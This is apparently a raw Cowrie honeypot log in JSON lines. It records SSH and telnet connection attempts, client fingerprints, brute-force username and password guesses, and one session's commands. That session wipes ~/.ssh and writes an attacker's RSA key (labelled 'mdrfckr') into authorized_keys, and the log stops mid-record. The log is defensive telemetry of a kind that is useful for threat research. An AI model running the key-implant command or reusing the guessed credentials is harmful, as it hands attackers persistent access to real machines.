{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.235157Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.239054Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.435834Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50024,"dst_ip":"159.203.135.109","dst_port":22,"session":"1124bb8383c6","protocol":"ssh","message":"New connection: 159.203.92.129:50024 (159.203.135.109:22) [session: 1124bb8383c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.583310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.588365Z","src_ip":"159.203.92.129","session":"1124bb8383c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.593045Z","src_ip":"159.203.92.129","session":"1124bb8383c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2018","message":"login attempt [alias/alias2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.605896Z","src_ip":"159.203.92.129","session":"1124bb8383c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.864714Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.868307Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.067818Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.071828Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":62935,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e34b5205a1","protocol":"ssh","message":"New connection: 119.195.89.96:62935 (159.203.135.109:22) [session: 32e34b5205a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.267770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.272658Z","src_ip":"119.195.89.96","session":"32e34b5205a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.473764Z","src_ip":"119.195.89.96","session":"32e34b5205a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:43.612206Z","src_ip":"159.203.92.129","session":"1124bb8383c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:44.311735Z","src_ip":"119.195.89.96","session":"32e34b5205a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:45.515979Z","src_ip":"119.195.89.96","session":"32e34b5205a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":2041,"dst_ip":"159.203.135.109","dst_port":22,"session":"778cd42c1767","protocol":"ssh","message":"New connection: 119.195.89.96:2041 (159.203.135.109:22) [session: 778cd42c1767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:45.704986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:45.709982Z","src_ip":"119.195.89.96","session":"778cd42c1767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:45.907011Z","src_ip":"119.195.89.96","session":"778cd42c1767","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:46.724722Z","src_ip":"119.195.89.96","session":"778cd42c1767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:46.924688Z","src_ip":"119.195.89.96","session":"778cd42c1767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:46.929606Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.248.78.71","src_port":40142,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2e665052588","protocol":"telnet","message":"New connection: 45.248.78.71:40142 (159.203.135.109:23) [session: c2e665052588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:01.880421Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":38980,"dst_ip":"159.203.135.109","dst_port":22,"session":"760a63bb475f","protocol":"ssh","message":"New connection: 124.13.124.212:38980 (159.203.135.109:22) [session: 760a63bb475f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:02.355329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:02.360002Z","src_ip":"124.13.124.212","session":"760a63bb475f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:02.604939Z","src_ip":"124.13.124.212","session":"760a63bb475f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6b761219e8","protocol":"ssh","message":"New connection: 194.59.206.2:27918 (159.203.135.109:22) [session: 7d6b761219e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:03.384777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:03.472099Z","src_ip":"194.59.206.2","session":"7d6b761219e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:03.515021Z","src_ip":"194.59.206.2","session":"7d6b761219e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password1","message":"login attempt [ubuntu/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:03.620478Z","src_ip":"124.13.124.212","session":"760a63bb475f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:03.674358Z","src_ip":"194.59.206.2","session":"7d6b761219e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:04.867718Z","src_ip":"124.13.124.212","session":"760a63bb475f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":48234,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8d8f397af1","protocol":"ssh","message":"New connection: 171.244.143.209:48234 (10.17.0.5:22) [session: fe8d8f397af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:22.016327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:22.023611Z","src_ip":"171.244.143.209","session":"fe8d8f397af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:22.258990Z","src_ip":"171.244.143.209","session":"fe8d8f397af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234.","message":"login attempt [root/Root1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:23.214974Z","src_ip":"171.244.143.209","session":"fe8d8f397af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:24.456859Z","src_ip":"171.244.143.209","session":"fe8d8f397af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52318,"dst_ip":"159.203.135.109","dst_port":22,"session":"556e57002e7b","protocol":"ssh","message":"New connection: 159.203.92.129:52318 (159.203.135.109:22) [session: 556e57002e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:25.660650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:25.665254Z","src_ip":"159.203.92.129","session":"556e57002e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cer